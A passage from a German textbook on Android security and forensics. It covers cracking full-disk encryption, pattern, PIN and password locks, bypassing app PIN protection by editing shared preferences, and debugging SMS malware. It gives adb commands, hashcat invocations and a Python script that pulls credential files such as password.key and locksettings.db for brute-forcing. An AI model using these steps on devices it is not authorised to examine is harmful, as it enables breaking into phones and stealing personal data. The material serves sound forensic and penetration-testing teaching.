der Daten beinhaltet und im Gegenzug auch jede Leseoperation die Entschlüsselung
der Daten automatisch im Hintergrund durchführt, bevor die Daten an
die Applikation weitergegeben werden. Der Schlüssel (128 Bit) wird zufällig erzeugt
und durch das Screenlock-Passwort geschützt. Im Speziellen wird bei diesen
Android-Versionen AES CBC mit ESSIV:SHA256 verwendet.
Android benutzt einen sogenannten Crypto Footer, um wichtige Parameter
für die Verschlüsselung zu speichern. Dieser Bereich ist sehr ähnlich zu dem
Partitions-Header, der von LUKS (Linux Unified Key Setup) verwendet wird,
wurde aber wie so einiges bei Android auf wesentliche Werte und Funktionen
beschränkt. Die wichtigsten Unterschiede sind hierbei:
■
■
■
LUKS unterstützt mehrere Passwörter für die Entschlüsselung der Partition,
wohingegen Android nur ein einziges Passwort im Crypto Footer speichern
kann.
LUKS teilt den Schlüssel in mehrere Fragmente auf, um die Wahrscheinlichkeit
zu reduzieren, dass man den gesamten Schlüssel im Speicher finden kann.
Dies wird bei Android nicht unterstützt.
LUKS besitzt zu dem abgelegten Schlüssel auch eine Prüfsumme, die es erlaubt,
den eingegebenen Schlüssel zu verifizieren, ohne die Nutzerpartition zu
entschlüsseln. Android hingegen versucht bei jeder Eingabe die Partition zu
entschlüsseln und verifiziert damit das Passwort nur indirekt.
Die Struktur des Crypto Footer beinhaltet neben einigen eher unwichtigen Parametern
auch die folgenden wichtigen Daten: FDE-Schema-Version, Schlüssellän-

4.7 Spurensuche im Dateisystem 97
ge sowie den eingesetzten Verschlüsselungsalgorithmus (aes-cbc-essiv:sha256).
Direkt angrenzend an den Crypto Footer befinden sich der verschlüsselte Schlüssel
und ein 16-Bit-Salt, das für die Verschlüsselung ebenfalls notwendig ist.
Diese Art der Verschlüsselung ist im Allgemeinen sehr gut, obwohl sie komplett
in Software implementiert ist. Aber leider gilt dies auch nur so lange, wie
ein entsprechend komplexes Passwort vom Nutzer gewählt wurde. Obwohl der
von Android verwendete Key-Derivation-Algorithmus (PBKDF2) dafür ausgelegt
wurde, mit Passwörtern niedriger Komplexität und niedriger Entropie zu funktionieren,
sind die verwendeten 2.000 Iterationen zum Ableiten des Schlüssels keine
wirkliche Herausforderung mit aktueller Hardware.
Da selbst aktuelle Android-Endgeräte nicht sehr leistungsfähig sind – verglichen
mit PCs –, werden wir im Folgenden zeigen, wie man alle nötigen Werte
vom Smartphone erhält, um so den Brute-Force-Angriff auf die Verschlüsselung
des Gerätes auszuführen. Der erste Schritt dabei ist, die Partition zu finden, die
den Crypto Footer gespeichert hat. Dazu suchen wir mithilfe von fstab nach einer
Partition, die encryptable als Eigenschaft enthält. Auf einem Galaxy Nexus
ist dies die Partition mit dem Namen metadata, wie auch im Folgenden zu sehen
ist:
/dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data
ext4 noatime,nosuid,nodev,nomblk_io_submit,errors=panic
wait,check,
encryptable=/dev/block/platform/omap/omap_hsmmc.0/by-name/metadata
Codebeispiel 4–29: Ausgabe der Eigenschaften der Nutzerpartition mithilfe von fstab
Die Partition mit dem Namen metadata und dem enthaltenen Crypto Footer kopieren
wir uns nun auf den Analyserechner, da diese für den Brute-Force-Angriff
immens wichtig ist. Dies geschieht mit folgendem Befehl:
adb shell dd if=/dev/block/mmcblk0p13 of=tmp_footer
adb pull tmp_footer
Codebeispiel 4–30: Übertragung der Metadaten-Partition auf den Analyserechner
Nachdem wir nun wissen, welches die Partition mit dem Crypto Footer ist, und
wir uns diese kopiert haben, holen wir uns einen kleinen Bereich der Nutzer-
Partition auf den Analyserechner. Wir wählen hier nur einen kleinen Ausschnitt,
um die zu entschlüsselnde Datenmenge gering zu halten und so den Vorgang der
Entschlüsselung zu beschleunigen. Dazu geben wir Folgendes ein:

98 4 Sicherheitsprobleme bei Android-Applikationen
adb shell dd if=/dev/block/mmcblk0p12 of=tmp_header bs=512 count=1
adb pull tmp_header
Codebeispiel 4–31: Übertragung der ersten 512 Byte der Nutzerdaten auf den Analyserechner
Nun sind wir in Besitz aller Daten, die für einen erfolgreichen Angriff nötig sind.
Den eigentlichen Angriff können wir nun entweder mithilfe von Hashcat oder
einem Python-Skript von Thomas Cannon und Seyton Bradford ausführen. Da
wir an anderer Stelle Hashcat verwenden werden, wollen wir uns hier anschauen,
wie einfach es mit dem Python-Skript16 funktioniert. Dazu reicht der Aufruf des
folgenden Befehls:
python crypto_footer.py tmp_header tmp_footer (maximale PIN-Länge)
Codebeispiel 4–32: Brute-Force-Angriff mithilfe der zuvor beschafften Daten
Wurde das Endgerät statt mit einer PIN mit einem realen Passwort geschützt, so
bleibt nur der Angriff mithilfe von Hashcat als Alternative, da das zuvor erwähnte
Skript zum aktuellen Zeitpunkt nur PINs unterstützt.
Exkurs: Zeiten eines Brute-Force-Angriffs bei Verwendung von PBKDF2
Nach einer Studie von Nikolay Elenkov ist ein recht aktuelles Notebook mit einer
NVIDIA GeForce 730M-Grafikkarte in der Lage, knapp 20.000 PBKDF2-Hashes pro
Sekunde zu berechnen. Nimmt man diese Werte als Referenz, so kann man auf
einem solchen Notebook 6-stellige PINs in unter 10 Sekunden berechnen und selbst
6-stellige Passwörter (nur Kleinbuchstaben) lassen sich hiermit in knapp 4 Stunden
berechnen.
Die im Exkurs beschriebenen Angriffszeiten haben auch Google dazu bewogen,
sich von PBKDF2 zu verabschieden. Seit Android 4.4 verwendet das System nun
scrypt, um die Schlüssel abzuleiten. Der Vorteil bei diesem neuen Algorithmus/
Verfahren liegt darin, dass es große Mengen an Speicher benötigt und so nicht
mehr performant auf einer Grafikkarte ausgeführt werden kann. Trotzdem kann
man zum Knacken dieser Verschlüsselung den zuvor beschriebenen Ansatz in
identischer Art und Weise verwenden – der Angriff dauert jedoch deutlich länger.
4.7.2 Die Bildschirmsperre angreifen
Viele Android-Smartphones sind vor unberechtigtem Zugriff mit einer Bildschirmsperre
geschützt. Im Wesentlichen gibt es die folgenden fünf Arten, wie
16 FDE: Script für einen Brute-Force-Angriff: https://github.com/santoku/
Santoku-Linux/blob/master/tools/android/android_bruteforce_stdcrypto

4.7 Spurensuche im Dateisystem 99
man das Smartphone schützen kann, wobei nur die Techniken 2 bis 5 einen echten
Schutz bieten:
1. Gesichtserkennung
2. Muster
3. PIN
4. Passwort
5. Fingerabdruck
Nachfolgend soll gezeigt werden, wie man die Bildschirmsperre per Muster (engl.
Pattern oder Gesture) sowie per PIN/Passwort umgehen kann, indem man berechnet,
wie die Nutzereingabe aussehen muss. Ist dies beim Pattern u. U. noch nicht
verständlich, warum man dieses Muster berechnet, obwohl man als Analyst oder
Angreifer den Zugriff auf das Dateisystem schon hat, wird es umso deutlicher bei
den Schutzmechanismen PIN und Passwort: Benutzer von Smartphones sind sehr
stark auf die Benutzbarkeit (engl. Usability) der Geräte ausgerichtet. Dies hat oft
zur Folge, dass alle PINs oder Passwörter auf dem Smartphone identisch sind.
Hat man also mehrere Apps auf dem Gerät, die per PIN geschützt sind, so ist es
ein guter Ansatz, die PIN für die Bildschirmsperre zu berechnen und das Ergebnis
bei den anderen Applikationen zu testen, um dort den Schutz zu umgehen.
Beginnen wollen wir mit der Berechnung des Musters, im Anschluss schauen
wir uns auch an, wie man PIN- und Passwortschutz umgeht. Da Android PIN und
Passwort identisch behandelt, ist der Angriff darauf auch identisch. Lediglich der
Nutzer bekommt hier optisch eine andere Eingabemaske angezeigt.
Die Bildschirmsperre per Muster angreifen
Die Bildschirmsperre per Muster besteht darin, dass der Nutzer des Smartphones
mindestens 4 Punkte (seit Android 2.3.3, zuvor reichten 3 Punkte aus) auf einer
3×3-Matrix verbindet (auf neueren Smartphones kann es auch eine 4×4-Matrix
sein), ohne einen der gewählten Punkte mehrfach zu verwenden.
Diese Punkte werden dann mit ihren zugehörigen Zahlenwerten als Zahlenfolge
im System abgelegt. Für ein Beispiel wählen wir das in Abbildung 4–7 gezeigte
Muster, das der Zahlenfolge 0–3–6–7–8 entspricht.
Android speichert dieses Muster in einer Datei namens gesture.key im Verzeichnis
/data/system/. Da das Ablegen dieser Zahlenfolge im Klartext nicht den
allgemeinen Vorgaben für das Speichern von Passwörtern Folge leistet, wird auch
in diesem Fall die Zahlenfolge mithilfe von SHA1 gehasht, sodass es nicht ohne
Weiteres möglich ist, den Klartext davon zu erhalten. In unserem Fall wird also
der folgende Hashwert abgelegt: c8c0b24a15dc8bbfd411427973574695230458f0.
Der Nachteil bei dem hier verwendeten Verfahren ist, dass keinerlei zusätzliche
Information in die Berechnung des Hashwertes einfließt. Hierdurch ist es für
uns möglich, alle existierenden Kombinationen und Sperrmuster im Vorhinein zu
berechnen. Das so erzeugte Wörterbuch nennt man Rainbow Table und damit ist

100 4 Sicherheitsprobleme bei Android-Applikationen
Abb. 4–7: Aufbau der Bildschirmsperre per Muster und unser Beispielmuster
es möglich, in nur wenigen Sekunden den Klartext für einen gegebenen Hashwert
zu erhalten.
Das einzige Problem, das wir nun noch haben, ist der Zugriff auf die Datei,
die diesen Hashwert beinhaltet. Dazu gibt es zwei mögliche Angriffswege:
1. Mittels Root-Exploit: Sobald wir Root-Rechte auf dem Smartphone besitzen,
können wir einfach zu der entsprechenden Datei im Dateisystem navigieren
und sie auslesen.
2. Mittels JTAG: Haben wir keinen Root-Zugriff auf das Smartphone, so können
wir versuchen, mittels JTAG auf den Speicher zuzugreifen und die wichtigen
Segmente auszulesen. Um den SHA1-Hashwert des Sperrmusters zu finden,
suchen wir mittels JTAG nach einem 2048 Byte langen Abschnitt, der
mit 20 Byte Zufallswerten beginnt, danach 2012 Byte mit Nullen aufweist
und am Ende wieder 16 Byte Zufallswerte enthält. Finden wir einen solchen
Block, so sind die ersten 20 Byte an Zufallswerten unser gesuchter Hashwert.
Die so erhaltenen Hashwerte vergleichen wir einfach mit unserer Rainbow Table17
und schon haben wir das Muster, das wir zum Entsperren des Smartphones
eingeben müssen.
17 Eine bereits erzeugte Rainbow Table für diesen Zweck findet man unter: https:
//github.com/mspreitz/ADEL/blob/master/GestureRainbowTable.db

4.7 Spurensuche im Dateisystem 101
Die Bildschirmsperre per PIN oder Passwort angreifen
Im Wesentlichen ist der Angriff auf die Sperre per PIN oder Passwort identisch zu
der zuvor beschriebenen Methode. Die wichtigen Unterschiede sollen aber trotz
allem im Folgenden gezeigt werden.
Android speichert die PIN bzw. das Passwort in einer Datei namens
password.key im Verzeichnis /data/system/. Auch in diesem Fall werden die Eingaben
mit SHA1 gehasht. Befolgt man die Vorgaben zur sicheren Erzeugung von
Hashwerten, so sollte ein sogenanntes Salt eingefügt werden, um Angriffe mit
vorberechneten Rainbow Tables zu verhindern. Dieses Salt wird an die Zahlenfolge
angehängt und dann gemeinsam gehasht. Dies macht es deutlich schwerer,
die Hashwerte nachzuberechnen, da man das Salt ebenfalls benötigt und dies im
besten Fall bei jedem Gerät anders ist. Genau dieses Vorgehen wird bei Verwendung
von PINs oder Passwörtern von Android umgesetzt.
Das nötige Salt finden wir in der Datei /data/system/locksettings.db (bei
älteren Smartphones liegt diese Datenbank noch unter /data/data/com.android
.providers.settings/databases/settings.db) und können es durch folgende
SQL-Abfrage auslesen: SELECT value FROM locksettings WHERE name=’lockscreen
.password_salt’.
Haben wir bereits Root-Zugriff auf das Smartphone, so können wir diese
Schritte mithilfe des folgenden Python-Skripts automatisieren:
import os, sys, subprocess, binascii, struct
import sqlite3 as lite
def get_sha1hash(backup_dir):
# dumping the password/pin from the device
print "Dumping PIN/Password hash ..."
password = subprocess.Popen(['adb', 'pull', '/data/system/password.key',
backup_dir],
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
password.wait()
# cutting the HASH within password.key
sha1hash = open(backup_dir + '/password.key', 'r').readline()[:40]
print "HASH: \033[0;32m" + sha1hash + "\033[m"
return sha1hash

102 4 Sicherheitsprobleme bei Android-Applikationen
def get_salt(backup_dir):
# dumping the system DB containing the SALT
print "Dumping locksettings.db ..."
saltdb = subprocess.Popen(['adb', 'pull',
'/data/system/locksettings.db', backup_dir],
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
saltdb.wait()
saltdb2 = subprocess.Popen(['adb', 'pull',
'/data/system/locksettings.db-wal', backup_dir],
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
saltdb2.wait()
saltdb3 = subprocess.Popen(['adb', 'pull',
'/data/system/locksettings.db-shm', backup_dir],
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
saltdb3.wait()
# extract the SALT
con = lite.connect(backup_dir + '/locksettings.db')
cur = con.cursor()
cur.execute("SELECT value FROM locksettings
WHERE name='lockscreen.password_salt'")
salt = cur.fetchone()[0]
con.close()
# convert SALT to Hex
returnedsalt = binascii.hexlify(struct.pack('>q', int(salt) ))
print "SALT: \033[0;32m" + returnedsalt + "\033[m"
return returnedsalt
def write_crack(salt, sha1hash, backup_dir):
crack = open(backup_dir + '/crack.hash', 'a+')
# write HASH and SALT to cracking file
hash_salt = sha1hash + ':' + salt
crack.write(hash_salt)
crack.close()

4.7 Spurensuche im Dateisystem 103
if __name__ == '__main__':
# check if device is connected and adb is running as root
if subprocess.Popen(['adb', 'get-state'], stdout=subprocess.PIPE).
communicate(0)[0].split("\n")[0] == "unknown":
print "no device connected - exiting..."
sys.exit(2)
# starting to create the output directory and the crack file used for
hashcat
backup_dir = sys.argv[1]
try:
os.stat(backup_dir)
except:
os.mkdir(backup_dir)
sha1hash = get_sha1hash(backup_dir)
salt = get_salt(backup_dir)
write_crack(salt, sha1hash, backup_dir)
print "crack.hash can now be used to feed hashcat"
Codebeispiel 4–33: Automatisierter Angriff auf die PIN- bzw. Passwortsperre
Die so erhaltene Datei crack.hash können wir nun in Hashcat laden und den
Brute-Force-Angriff durch Eingabe des folgenden Befehls starten: hashcat -a 3
-m 110 crack.hash -1 ?d ?1?1?1?1?1?1?1?1 (dieser Aufruf versucht, eine max.
8-stellige PIN zu berechnen).
Haben wir keinen Root-Zugriff, so können wir auch hier versuchen, die Daten
per JTAG auszulesen. Um den Hashwert für die PIN bzw. das Passwort zu
finden, suchen wir einen 2048 Byte langen Abschnitt, der folgende Eigenschaften
aufweist:
■
■
■
72 Byte, die nur aus den Zeichen 0–9 und A–F bestehen,
gefolgt von 1960 Byte mit Nullen,
gefolgt von 16 Byte Zufallswerte.
Die ersten 72 Byte sind die Hashwerte unserer PIN bzw. unseres Passworts in
MD5 und SHA1. Nun benötigen wir noch das passende Salt. Dazu gehen wir wie
folgt vor:

104 4 Sicherheitsprobleme bei Android-Applikationen
■
■
■
■
Im Speicher des Smartphones suchen wir nach dem String lockscreen
.password_salt.
Das Byte direkt vor diesem String muss im Bereich 0x0F und 0x35 liegen und
beschreibt dabei die Länge des abgelegten Hashwertes.
Ein weiteres Byte davor muss das Byte 0x3D zu finden sein.
Direkt davor muss ein Byte mit Nullwerten stehen.
Trifft all dies zu, so haben wir das Salt gefunden und können den Brute-Force-
Angriff starten. Abbildung 4–8 zeigt nochmals, wie der beschriebene Aufbau des
gesuchten Abschnittes im Dateisystemabbild auszusehen hat.
Abb. 4–8: Aufbau des Speicherabschnittes mit dem Salt für die Bildschirmsperre
4.7.3 Nach interessanten Daten im Dateisystem suchen
Nachdem nun die Verschlüsselung des Dateisystems geknackt werden kann und
auch eine eventuell vorhandene Bildschirmsperre nicht mehr als Hindernis angesehen
werden muss, kommen wir nun an den spannenden Punkt: Wo finden sich
interessante Daten im Dateisystem?
Bei Geräten mit Android als Betriebssystem gibt es im Wesentlichen drei Stellen,
an denen man die interessanten Daten der installierten Applikationen finden
kann:
1. Die installierten Applikationen selbst befinden sich unter /data/apps/.
2. Datenbanken und Dokumente, die durch die Applikation bearbeitet und verwaltet
werden, befinden sich in /data/data/.
3. Und natürlich die SD-Karte, da hierauf jede Applikation Zugriff erhalten
kann, sobald sie die entsprechende Berechtigung bei der Installation anfordert.
Die installierten Applikationen und deren Pakete, die unter /data/apps/ zu finden
sind, können von dort auf den Analyserechner mittels adb pull /data/apps/
übertragen werden. Sobald sie auf dem eigenen Rechner sind,
können diese – wie in Kapitel 3 beschrieben – dekompiliert und analysiert werden.

4.7 Spurensuche im Dateisystem 105
Für dieses Kapitel jedoch von deutlich höherem Interesse sind die Bereiche, in
denen die Applikationen ihre eigenen Daten speichern und verwalten: /data/data/
sowie die SD-Karte. Von besonderem Interesse sind hier die Datenbanken
der Applikationen und das Verzeichnis namens shared_preferences, die
wir im Folgenden uns näher ansehen werden.
Applikationsdatenbanken
Eine der wichtigsten Orte, an denen Applikationen ihre Daten speichern, sind die
SQLite-Datenbanken im Verzeichnis /data/data//databases/. In diesen
Datenbanken findet man neben Nutzer- und Applikationsdaten auch sehr
häufig Konfigurationsdaten wie z. B. Serveradressen, Crypto- und API-Schlüssel
oder Hinweise darauf, wo weitere Dateien abgelegt sind.
Im Rahmen eines Penetrationstests einer Android-Applikation gehört es zu
einem der ersten Schritte, sich die Datenbanken der Applikation genau anzusehen.
Dazu ist es am einfachsten, sich mithilfe von adb pull die entsprechenden
Dateien auf den lokalen Analyserechner zu kopieren und dort mit Tools wie dem
SQLiteBrowser18 oder per Kommandozeilenprogramm (z. B. sqlite3) zu betrachten.
Der Vorteil der grafischen Tools liegt darin, dass man sehr schnell den Aufbau
der Datenbank und aller vordefinierten Views erkennt (wie man am Beispiel einer
Applikationsdatenbank in Abbildung 4–9 sehen kann).
Abb. 4–9: Beispiel einer Applikationsdatenbank, die mit dem SQLiteBrowser geöffnet wurde
Shared Preferences
Die Shared Preferences sind im eigentlichen Sinne XML-Dateien, die Key-Value-
Paare speichern können. Diese Dateien dienen dazu, eine kleine Anzahl an solchen
Paaren außerhalb von Datenbanken und mit einer speziellen API zu sichern.
18 SQLiteBrowser: https://github.com/sqlitebrowser/sqlitebrowser/releases

106 4 Sicherheitsprobleme bei Android-Applikationen
Wichtig dabei ist, dass es diese Dateien als private und shared gibt und diese Eigenschaft
vom Applikationsentwickler festgelegt wird. Sobald eine solche Datei
als Eigenschaft shared besitzt, kann jede Applikation darauf zugreifen, die den
Dateinamen kennen – ohne dafür eine spezielle Berechtigung zu benötigen. Doch
selbst mit der Eigenschaft private sollte man darauf achten, wie man sensible
Daten hier ablegt, denn wie auch schon bei den Datenbanken gilt auch hierbei,
dass Sicherheitsanalysten dieses Verzeichnis als Erstes ins Auge fassen und die
Key-Value-Paare genau analysieren.
Sehr oft findet man an dieser Stelle wichtige Daten wie Schlüsselmaterial für
die Verschlüsselung der Datenbankinhalte, Passwörter für Nutzer der Applikation
oder URLs und IP-Adressen der Backend-Systeme.
Ebenso wichtig wie der eigentliche Inhalt dieser Dateien ist aber auch der Umstand,
wie eine Applikation reagiert, wenn Inhalte nicht mehr vorhanden sind.
Oft werden an dieser Stelle Eigenschaften von zugewiesenen Policies oder sogar
die Applikations-PIN gespeichert. Ändert man diese, oder löscht die entsprechenden
Werte, so ist es wichtig, dass die Applikation keine Geheimnisse preisgibt.
Das im Folgenden gezeigte Beispiel für eine Applikation weist Schwachstellen
auf, wodurch man durch einfache Manipulation dieser Dateien die Features und
die versprochene Sicherheit der Applikation beeinflussen kann.
Bei der Applikation handelt es sich um eine File-Sharing-Applikation für Unternehmen.
Eine Applikation die zusammen mit dem Backend eine alternative
Variante von DropBox für Unternehmen verspricht. Hierbei ist es für das Unternehmen,
das diese Applikation einsetzen möchte, möglich, eine zentrale Policy
vorzugeben, die auf alle Endgeräte übertragen wird. Damit kann man u. a. bestimmen,
ob der Nutzer Dateien in andere Applikationen exportieren kann und
ob eine Applikations-PIN nötig ist (wie in Abbildung 4–10 gezeigt). Des Weiteren
kann hier auch festgelegt werden, nach wie vielen Fehlversuchen die Applikation
alle verwalteten Dateien löschen oder einfach nur den Nutzer aussperren soll.
All dies verwaltet die Applikation innerhalb der Shared Preferences ohne dabei
den konformen Zustand des Smartphones zu prüfen. Dieser Punkt wird ihr
dann auch zum Verhängnis.
....

4.7 Spurensuche im Dateisystem 107
Abb. 4–10: Abfrage der Applikations-PIN, die vor unberechtigtem Zugriff schützen soll
....
Codebeispiel 4–34: Shared Preference mit der Policy, die die Applikation zugewiesen bekommen
hat
Codebeispiel 4–34 zeigt eine Policy, wie sie auf dem Endgerät liegt. Durch einfaches
Ändern der Werte können wir hier zulassen, dass der Nutzer (oder ein
Angreifer, der Wissen über die Applikations-PIN hat) Daten aus dem Container
extrahieren kann.
ICPNS******
Codebeispiel 4–35: Shared Preference mit der verschlüsselten Applikations-PIN
Codebeispiel 4–35 zeigt eine weitere XML-Datei innerhalb der Shared Preferences,
deren Inhalt noch gravierender ist. Bei dem zuvor gezeigten Angriff musste
der Angreifer noch die Applikations-PIN wissen, um Daten exfiltrieren zu können.
Diese Datei speichert einen verschlüsselten Wert dieser PIN und die Anzahl

108 4 Sicherheitsprobleme bei Android-Applikationen
der falschen Eingaben. Nun gibt es drei Möglichkeiten, wie man vorgehen kann,
um diesen Schutz der Applikation zu umgehen:
1. Durch Reversing versuchen herauszubekommen, wie der Wert verschlüsselt
wird und diese Verschlüsselung umkehren.
2. Einen Brute-Force-Angriff auf die Applikation starten und nach jedem ungültigen
Versuch die count_of_performed_attempts wieder auf 0 setzen.
3. Die Zeile aus der XML-Datei löschen und schauen, was die Applikation beim
nächsten Neustart macht.
Neben dem Versuch, einfach mal die PIN der Bildschirmsperre als Eingabe zu
verwenden, die wir zuvor herausbekommen haben, ist der einfachste Weg, um
den Schutz der Applikation herumzukommen, das Löschen der entsprechenden
Zeile aus der XML-Datei. Nachdem wir nun diese Zeile gelöscht und die Applikation
erneut gestartet haben, sehen wir, dass wir aufgefordert werden, eine neue
PIN zu vergeben.
Durch ein Reversing ist bereits aufgefallen, dass die lokal verwalteten Daten
zwar verschlüsselt sind, aber die Verschlüsselung nicht von der Applikations-PIN
abhängig ist, was generell eine schlechte Idee ist. Sind wir als Angreifer nun also
in physischem Besitz des Smartphones, können wir die PIN auf einen uns bekannten
Wert ändern, danach noch die Policy anpassen und schlussendlich alle Daten,
auf die der Nutzer Zugriff hat, aus dem als sicher versprochenen Container extrahieren.
Weitere Dateien innerhalb der Sandbox
Wie man aus der Forensik weiß, sollte man ein Auge auf alle Dateien haben,
auf die die Applikation Zugriff hat oder die durch sie verwaltet werden. Ein Beispiel
dafür, dass eine solche erweiterte Suche durchaus sinnvoll ist, zeigt uns eine
sehr bekannte Applikation zur Synchronisation von PIM-Daten im Unternehmen.
Sie verspricht eine sichere Synchronisation und Verwaltung von PIM-Daten auf
einem Android-Smartphone (siehe dazu auch Abbildung 4–11). Dabei schützt
sie diese Daten durch Verschlüsselung und verwendet dazu im Vergleich zu der
zuvor gezeigten Applikation die PIN, die der Nutzer vergeben muss. Um hier
als Angreifer oder Sicherheitsanalyst an die Daten zu kommen, muss also diese
Applikations-PIN herausgefunden werden.
Schaut man sich innerhalb der Sandbox (/data/data/ com.honey.xxx/) etwas
genauer um, so sieht man eine ganze Menge an Dateien, die unbekannte Dateiendungen
haben und uns dadurch noch neugieriger machen. Ein Beispiel für
eine solche Datei ist die Datei mit dem Namen windroid.db.sc (siehe Codebeispiel
4–36).

4.7 Spurensuche im Dateisystem 109
Abb. 4–11: PIM-Applikation: Versprechen des Herstellers und PIN-Abfrage
.......
ASVersions=Versions:Microsoft-IIS/7.5,2.0,2.1,2.5,12.0,12.1,14.0,14.1
AccountID=Exchange Mail
.......
Domain=#EFT1.7#I0VGVDE*****
FailedLoginAttemptCount=0
FolderSyncKey=1
LastPINPromptTime=1421767231987
LastPinChangeTime=1421766891980
LastPolicyGet=0
.......
PasswordHistory=14141414
PasswordHistory=#EFT1.7#I0VGVDE*****
PasswordRecoveryEnabled=false
PolicyKey=814518012
.......
ServerName=#EFT1.7#I0VGVDE*****
UnapprovedInROMApplicationList=
UserID=#EFT1.7#I0VGVDE*****
.......
Codebeispiel 4–36: windroid.db.sc mit der Applikations-PIN im Klartext (siehe Zeile 12)

110 4 Sicherheitsprobleme bei Android-Applikationen
In Zeile 12 (PasswordHistory=14141414) sehen wir einen Wert mit dem Namen
PasswordHistory. Dieser Wert lässt darauf schließen, dass es sich hier u. U. um
eine ältere PIN handelt. Für etwas Verwunderung sorgt jedoch, dass die direkt
darauf folgende Zeile denselben Wert nochmals besitzt, diesmal aber mit einem
verschlüsselten Inhalt.
Durch einfachen Test der Zeichenfolge 14141414 stellt man fest, dass dies
kein älterer Wert ist, sondern die aktuelle Applikations-PIN, also das einzige Geheimnis,
das zur Verschlüsselung verwendet wird, und zugleich auch der einzige
Schutz des Containers vor unberechtigtem Zugriff. Hat der Sicherheitsanalyst
diesen Wert, so kann er sowohl über die Oberfläche wie auch durch manuelles
Entschlüsseln der Datenbanken auf alle sensiblen Daten innerhalb des Containers
zugreifen und auch E-Mails im Namen des eingerichteten Nutzers versenden.
4.8 Android-Applikationen zur Laufzeit
manipulieren
Beim Analysieren von Applikationen und deren Funktionen ist neben dem Reversing
das Debugging bzw. das Manipulieren von Variablen zur Laufzeit ein
wichtiger Punkt. Durch ein spezielles Tool (meist Debugger genannt) ist es dem
Analysten möglich, Applikationen zur Laufzeit zu beobachten und so Programmabläufe
besser verstehen und auch den Fluss von Informationen nachvollziehen
zu können. Passende Tools für diesen Zweck gibt es für Android in großer Zahl.
Aus Erfahrungen ist neben der professionellen Version mit IDA Pro19 vor allem
Codeinspect20 das Tool der Wahl, da es deutlich einfacher zu verwenden ist als
IDA und im Bereich Android durch diverse Vorteile punkten kann. Aber auch
der eingebaute Debugger in Eclipse oder dem Android Studio kann hier – mit
Abstrichen – verwendet werden.
Bei Android kann der Applikationsentwickler das Hooken durch einen Debugger
im Android-Manifest zu verhindern versuchen. Dies geschieht durch Setzen
des xml-Tags android:debuggable="false". Sollte dieses Tag im Android-
Manifest gesetzt sein, so gibt es nur zwei Möglichkeiten, dies zu umgehen:
1. Vor dem eigentlichen Debugging wird die Applikation wie zuvor gezeigt dekompiliert,
das Flag überschrieben und wieder eine lauffähige Applikation
zusammengebaut.
2. Es wird ein Hooker verwendet (wie z. B. das XPosed Framework mit dem
BuildProp Enhancer), der zur Laufzeit dieses Flag von false auf true setzt.
Im weiteren Verlauf dieses Abschnittes werden wir uns ein paar einfache Beispiele
für das Debuggen und Manipulieren von Android-Applikationen mittels Codein-
19 IDA Pro: https://www.hex-rays.com/products/ida/
20 Codeinspect: http://sseblog.ec-spride.de/2014/12/codeinspect/

4.8 Android-Applikationen zur Laufzeit manipulieren 111
spect ansehen. Die statische Codeanalyse mittels Codeinspect aus Abschnitt 3.4.7
dient uns hier auch wieder als Grundlage.
Als Beispiel verwenden wir die Malware-Applikation, die wir schon vom Reversing
kennen. Von ihr wissen wir bereits, dass sie je nach Land, aus dem die
SIM-Karte kommt, eine andere Nachricht versendet. Dies versuchen wir nun,
auch mit Codeinspect zu verifizieren. Dazu importieren wir die apk-Datei und
setzen einen Breakpoint auf Zeile 34 (in Zeile 33 wurde auf getSimCountryIso()
zugegriffen und das Ergebnis in die Variable String geschrieben) in der Datei
MagicSMSActivity.jimple (siehe Abbildung 4–12).
Abb. 4–12: Setzen des ersten Breakpoints in Codeinspect
Zusätzlich setzen wir noch einen zweiten Breakpoint auf die Zeile 41 (hier wird
die erste SMS versendet). In dieser Zeile können wir verifizieren, an welche Nummer
welcher Text gesendet wird und somit feststellen, ob unsere Änderung von
der Applikation übernommen wurde.
Im Anschluss starten wir die Ausführung der Applikation im Emulator (siehe
Abbildung 4–13).
Abb. 4–13: Starten der Ausführung der Malware in Codeinspect
Sobald nun der Emulator gestartet und der Debugger erfolgreich mit der Applikation
verbunden ist, startet die Ausführung. In dem Moment, wenn die Applikation
dabei ist, die Zeile auszuführen, die wir mit dem Breakpoint markiert haben,
wird sie angehalten – die Ausführung also in den Pause-Modus gesetzt – und wir

112 4 Sicherheitsprobleme bei Android-Applikationen
Abb. 4–14: Variablen und deren Wert bei Erreichen des ersten Breakpoints
sehen in Codeinspect die Variablen, die zu diesem Zeitpunkt im Speicher liegen
(siehe Abbildung 4–14).
Da wir schon etwas über die Applikation herausgefunden haben, wissen wir,
dass der entscheidende Punkt die Rückgabe des TelephonyManager und somit der
Rückgabewert von getSimCountryIso() ist. Unser Emulator hat hier us als aktuellen
Rückgabewert. Diesen ändern wir nun auf de, um zu sehen, wie dies die
Ausführung der Malware verändert. Um diese Änderung erfolgreich durchzuführen,
müssen wir nur auf den entsprechenden Wert mit der rechten Maustaste
klicken und dann Change Value auswählen. In dem nun erscheinenden Fenster
können wir us löschen und manuell de eintippen. Dies ist wichtig, da Codeinspect
unsere Eingabe auf diese Weise direkt wieder in ein gültiges Objekt umwandelt,
das die Applikation im kommenden Schritt erwartet.
Im Anschluss klicken wir nun in der obersten Zeile auf Resume (F8), um die
Applikation weiter ausführen zu lassen. Ab diesem Moment verwendet die Variable
den von uns vergebenen Wert und nicht mehr den eigentlichen Rückgabewert
der Funktion getSimCountryIso().
Sobald der zweite Breakpoint erreicht wird, sehen wir in den Variablen nun
auch das Ergebnis: Es werden die Werte verwendet, die einer deutschen SIM-
Karte entsprechen (siehe Abbildung 4–15), und nicht die für einen Emulator typischen
Werte.
Abb. 4–15: Variablen und deren Wert bei Erreichen des zweiten Breakpoints

4.9 Zusammenfassung 113
Abb. 4–16: Android-Warnung vor und nach der Manipulation
Abbildung 4–16 zeigt entsprechend dazu auch die Warnmeldung der Premium-
SMS mit den auf die Änderung resultierenden Werten.
Dieses Beispiel zeigt anhand einer recht simplen Malware, wie mächtig Werkzeuge
wie Codeinspect sind, um Applikationen zu manipulieren oder um Sicherheitsabfragen
des Entwicklers zu umgehen, selbst wenn der Code der Applikation
deutlich komplexer oder gar verschleiert ist.
Eine weitere nützliche Funktion von Codeinspect ist auch die Steuerung wichtiger
